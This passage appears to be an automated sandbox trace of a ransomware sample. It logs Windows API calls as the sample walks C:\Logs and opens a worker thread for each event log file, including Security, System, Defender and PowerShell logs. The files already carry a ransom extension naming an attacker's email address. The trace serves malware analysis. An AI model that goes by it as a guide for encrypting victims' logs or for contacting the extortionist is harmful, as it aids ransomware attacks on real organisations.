_Dest=0x2f884a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.725] wcscat (in: _Dest=0x2f884a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.725] wcscat (in: _Dest=0x2f884a0, _Source="Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f884a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0165.726] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI28E5~1.D0E")) returned 1 [0165.726] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.726] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.726] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f84370 [0165.726] wcscpy (in: _Dest=0x2f84370, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.726] wcscat (in: _Dest=0x2f84370, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.726] wcscat (in: _Dest=0x2f84370, _Source="Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0165.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0165.726] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIE8FE~1.D0E")) returned 1 [0165.727] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.727] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.727] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x2f83db0 [0165.727] wcscpy (in: _Dest=0x2f83db0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.727] wcscat (in: _Dest=0x2f83db0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.727] wcscat (in: _Dest=0x2f83db0, _Source="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" [0165.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0165.727] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICD91~1.D0E")) returned 1 [0165.728] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.728] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2f88230 [0165.728] wcscpy (in: _Dest=0x2f88230, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.728] wcscat (in: _Dest=0x2f88230, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.728] wcscat (in: _Dest=0x2f88230, _Source="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0165.728] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI1CAB~1.D0E")) returned 1 [0165.729] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.729] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e600 [0165.729] wcscpy (in: _Dest=0x2f6e600, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.729] wcscat (in: _Dest=0x2f6e600, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.729] wcscat (in: _Dest=0x2f6e600, _Source="Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0165.730] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICAFB~1.D0E")) returned 1 [0165.730] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.730] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2f893b8 [0165.730] wcscpy (in: _Dest=0x2f893b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.730] wcscat (in: _Dest=0x2f893b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.730] wcscat (in: _Dest=0x2f893b8, _Source="Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f893b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0165.730] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI144A~1.D0E")) returned 1 [0165.731] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.731] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f838a8 [0165.731] wcscpy (in: _Dest=0x2f838a8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.731] wcscat (in: _Dest=0x2f838a8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.731] wcscat (in: _Dest=0x2f838a8, _Source="Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0165.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f838a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0165.731] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI4007~1.D0E")) returned 1 [0165.731] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.732] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f84618 [0165.732] wcscpy (in: _Dest=0x2f84618, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.732] wcscat (in: _Dest=0x2f84618, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.732] wcscat (in: _Dest=0x2f84618, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" [0165.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0165.732] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8142e2d9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6998~1.D0E")) returned 1 [0165.732] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.732] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4940 [0165.733] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.733] wcscat (in: _Dest=0x2fc4940, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.733] wcscat (in: _Dest=0x2fc4940, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" [0165.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0165.733] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801db596, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6092~1.D0E")) returned 1 [0165.733] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.733] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2f88b20 [0165.733] wcscpy (in: _Dest=0x2f88b20, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.733] wcscat (in: _Dest=0x2f88b20, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.733] wcscat (in: _Dest=0x2f88b20, _Source="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" [0165.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0165.734] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80593d33, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIEC3A~1.D0E")) returned 1 [0165.734] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.734] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.734] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83c40 [0165.734] wcscpy (in: _Dest=0x2f83c40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.734] wcscat (in: _Dest=0x2f83c40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.734] wcscat (in: _Dest=0x2f83c40, _Source="Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0165.735] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8147a776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI9860~1.D0E")) returned 1 [0165.735] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.735] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f98b98 [0165.735] wcscpy (in: _Dest=0x2f98b98, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.735] wcscat (in: _Dest=0x2f98b98, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.735] wcscat (in: _Dest=0x2f98b98, _Source="Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0165.736] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8147a776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x111100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SECURI~1.D0E")) returned 1 [0165.736] wcscmp (_String1="Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.736] wcscmp (_String1="Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6e) returned 0x2faade0 [0165.736] wcscpy (in: _Dest=0x2faade0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.736] wcscat (in: _Dest=0x2faade0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.736] wcscat (in: _Dest=0x2faade0, _Source="Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Security.evtx.mailto[kokoklock@cock.li].d0e731" [0165.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faade0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0165.737] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80488bf9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SETUPE~1.D0E")) returned 1 [0165.737] wcscmp (_String1="Setup.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.737] wcscmp (_String1="Setup.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f71128 [0165.737] wcscpy (in: _Dest=0x2f71128, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.737] wcscat (in: _Dest=0x2f71128, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.737] wcscat (in: _Dest=0x2f71128, _Source="Setup.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" [0165.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f71128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0165.738] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x814a0a66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x111100, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SYSTEM~1.D0E")) returned 1 [0165.738] wcscmp (_String1="System.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.738] wcscmp (_String1="System.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x2faaed0 [0165.738] wcscpy (in: _Dest=0x2faaed0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.738] wcscat (in: _Dest=0x2faaed0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.738] wcscat (in: _Dest=0x2faaed0, _Source="System.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" [0165.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faaed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0165.739] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7fb97da9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINDOW~1.D0E")) returned 1 [0165.739] wcscmp (_String1="Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.739] wcscmp (_String1="Windows 